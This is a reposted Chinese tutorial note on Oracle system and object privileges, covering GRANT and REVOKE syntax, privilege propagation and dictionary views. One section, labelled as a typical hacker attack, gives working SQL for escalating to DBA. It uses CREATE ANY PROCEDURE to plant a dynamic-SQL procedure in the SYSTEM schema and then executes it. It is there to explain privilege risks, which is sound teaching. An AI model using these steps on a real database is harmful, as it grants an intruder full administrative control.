权限管理

来源:互联网 发布:mac 个人文件夹改名 编辑:程序博客网 时间:2024/05/17 01:17

特权类型2种
System特权和Object特权

System特权:
超过100种不同的系统特权
any关键字能在任何用户有此特权
grant命令增加特权给用户或用户组
revoke删除特权

grant create session to xxwz;
grant create session to xxwz with admin option;//允许把该特权授予别人

普通用户如何授权给他人
在grant时加上with admin option
授权时使用grant any privilege;

PUBLIC是所有用户的用户组
授权给PUBLIC组,所有用户都拥有此特权

查看自己的权限
select * from session_privs;
查看自己的角色
select * from session_roles;

撤销特权(撤销系统权限没有传递性)
revoke create session from xxwz;

参数O7_DICTIONARY_ACCESSIBILITY默认为false;设置为true后,其它用户可以访问数据字典

典型黑客攻击
创建一个用户hacker
授予grant create session to hacker;
grant create any procedure to hacker;
grant execute any procedure to hacker;
编写
create procedure system.h1(h1_str in varchar2) as
begin
execute immediate h1_str;
end;
/
执行
execute system.h1('grant dba to hacker');
随即有了DBA角色权限。

Object特权:
权限传递with grant option;

grant select on t to u1//以u3用户登录时,把u3的表t的select权限给u1;

grant grant any object privilege to u2;授权u2可以任何对象权限授权给其他人
grant select on u2.t to u1//以u3用户登录时,把u2的表t的select权限给u1;

撤销对象权限
revoke select on u2.t from u1;
撤销对象权限有传递性
revoke select on u2.t from u1 with grant option;


查询数据字典:
查询系统特权
dba_sys_privs;查看直接grant的系统特权,不包括角色包含的系统特权
session_privs;
查询对象特权
dba_tab_privs;
dba_col_privs;